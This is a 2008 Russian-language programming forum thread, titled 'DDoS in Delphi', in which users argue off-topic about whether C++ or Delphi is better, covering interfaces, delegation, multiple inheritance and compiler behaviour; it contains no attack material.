ORIGINAL: mofo Нет интерфейсов, нет делегирования, нет различия абстрактных типов данных и обьектов. Зато есть никому не нужное множественное наследование ) Про Delphi мы щас не говорим - он тоже не совершенен, но хотя бы получше чем C++. Нет интерфейсов - да, недостаток, но он обходится за счёт множественного наследования и виртуальных функций. Нет делегирования - а что тогда по-твоему указатели на функции / методы? Нет различия абстрактных типов данных и объектов - а кому оно надо? В плюсах есть RTTI. И ещё раз - в C++ всегда понятно, как поведёт себя компилятор. Нету "хитро(_!_)ой" работы со строками, в отличие от дэлфи, где можно легко (особенно новичку) запутаться, где происходит физическое копирование строки, а где - копирование ссылки. В С++ что напишешь - то и будет. Потом, если уж дэлфисты так гордятся своим форматом строк, то почему они под счётчик дескрипторов отвели только 1 байт? У меня были случаи, когда этого явно не хватало и опять же - хз, что в таком случае сделает дэлфи.
|
|
|
RE: DDoS в Delphi - 2008-03-15 18:33:48.400000
|
|
|
mofo
Сообщений: 10
Оценки: 0
Присоединился: 2008-03-10 10:09:50.693333
|
quote:
Нет интерфейсов - да, недостаток, но он обходится за счёт множественного наследования и виртуальных функций. Множественное наследование - это ваше извращение, его даже в C# убрали (хотя чего уж там говорить, C# больше всего похож на Delphi, а на C++ меньше всего). quote:
Нет делегирования - а что тогда по-твоему указатели на функции / методы? Не путай. quote:
Нет различия абстрактных типов данных и объектов - а кому оно надо? Это не "кому оно надо", а ООП, и не тебе решать нужно оно или нет ) quote:
И ещё раз - в C++ всегда понятно, как поведёт себя компилятор. Самому-то не смешно? Как раз поведение C++ компиляторов наиболее непредсказуемо. И далеко не факт что то, что скомпилит VC++, будет прожевано C++Builder'ом или GCC.
|
|
|
RE: DDoS в Delphi - 2008-03-15 19:21:50.250000
|
|
|
RasenHerz
Сообщений: 303
Оценки: 0
Присоединился: 2007-11-27 21:17:15.833333
|
по-моему, наследование от класса вполне может заменить интерфейсы(когда я программил для .NET то инетерфейсами не пользовался). делегаты - глупая пародия на многопоточность(invoke - вызовы). C++ заставляет программиста ЗНАТЬ что и КАК работает - если программист хочет многопоточности - пусть пишет то, что ЕМУ надо, а не извращается с придуманными неизвестно кем и неизвестно с какой целью "примочками" языка. quote:
Это не "кому оно надо", а ООП, и не тебе решать нужно оно или нет ) С++ в полной мере удоволетворяет критериям ООП. quote:
Самому-то не смешно? Как раз поведение C++ компиляторов наиболее непредсказуемо. И далеко не факт что то, что скомпилит VC++, будет прожевано C++Builder'ом или GCC. компилятор то знает, что делает, а вот программист бывает не знает(не задумывается) =) GCC - конечно может не проглотить код написанный на С++, все-таки GCC - компилятор С, а не С++( С++ обратно совместим с С, а не наоборот) =). З.Ы. может перестанем оффтопить????? =)))) З.З.Ы С++ - the best =)))))
|
|
|
|
|